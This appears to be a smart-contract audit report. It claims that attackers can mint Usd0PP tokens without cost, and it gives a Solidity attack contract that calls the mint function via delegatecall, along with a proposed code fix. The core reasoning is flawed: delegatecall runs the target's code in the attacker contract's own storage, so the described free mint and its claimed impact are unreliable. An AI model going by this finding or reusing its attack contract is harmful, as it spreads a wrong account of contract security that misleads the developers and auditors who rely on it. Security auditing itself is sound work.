Skip to content

Latest commit

 

History

History
97 lines (64 loc) · 3.51 KB

File metadata and controls

97 lines (64 loc) · 3.51 KB

Narrow Watermelon Cheetah

High

Attackers can take Usd0PP token for free.

Summary

The improper usage of the safeTransferFrom function may result in the loss of Usd0PP tokens, as an attacker can invoke the mint function from a contract using delegatecall.

Root Cause

In Usd0PP.sol:224, the use of address(this) is inappropriate. This can lead to the loss of Usd0PP tokens when the caller of the transaction is a contract address and the mint function is executed as a delegatecall.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

  1. The attacker writes and deploys the following contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AttackUsd0PP {
    // Address of the Usd0PP contract
    address public usd0pp;
    // Address of the usd0 token
    IERC20 public usd0Token;

    // The mint function selector
    bytes4 constant _mint = bytes4(keccak256("mint(uint256)"));

    // Constructor - load the usd0pp contract and usd0 token address
    constructor(address _usd0pp, address _usd0Token) {
        usd0pp = _usd0pp;
        usd0Token = IERC20(_usd0Token);
    }

    // Function to deposit usd0 tokens into this contract
    function depositUsd0(uint256 amount) external {
        // Transfer usd0 tokens from the user to this contract
        usd0Token.transferFrom(msg.sender, address(this), amount);
    }

    // Mint usd0pp for free
    function mintForFree(uint256 amount) external {
        // Ensure the contract has enough usd0 tokens
        require(usd0Token.balanceOf(address(this)) >= amount, "Insufficient usd0 balance");
        
        // Call the mint function in Usd0PP contract
        (bool success, ) = usd0pp.delegatecall(abi.encodeWithSelector(_mint, amount));
        require(success, "Minting failed");
    }
}
  1. The attacker deposits a certain amount of Usd0 tokens and invokes the mintForFree function multiple times.
  2. As a result, the attacker receives an equivalent number of Usd0PP tokens in exchange for the deposited Usd0 tokens. Furthermore, the deposited Usd0 tokens do not actually transfer to the Usd0PP contract; they remain within the attacker's contract.

By exploiting this mechanism, the attacker can acquire Usd0PP tokens without any cost.

Impact

The attacker can acquire Usd0PP tokens without any cost. In case of UsalSP.sol:270, there is a similar risk present.

PoC

No response

Mitigation

We can update Usd0PP.sol:224 as following:

        $.usd0.safeTransferFrom(msg.sender, address($.usd0PP), amountUsd0);

Also we need to update UsualSP.sol:270 as following:

        $.usualS.safeTransferFrom(msg.sender, address($.usualSP), amount);

By replacing address(this) with address($.usd0PP), address($.usualSP)`, we can mitigate the risk of such attacks.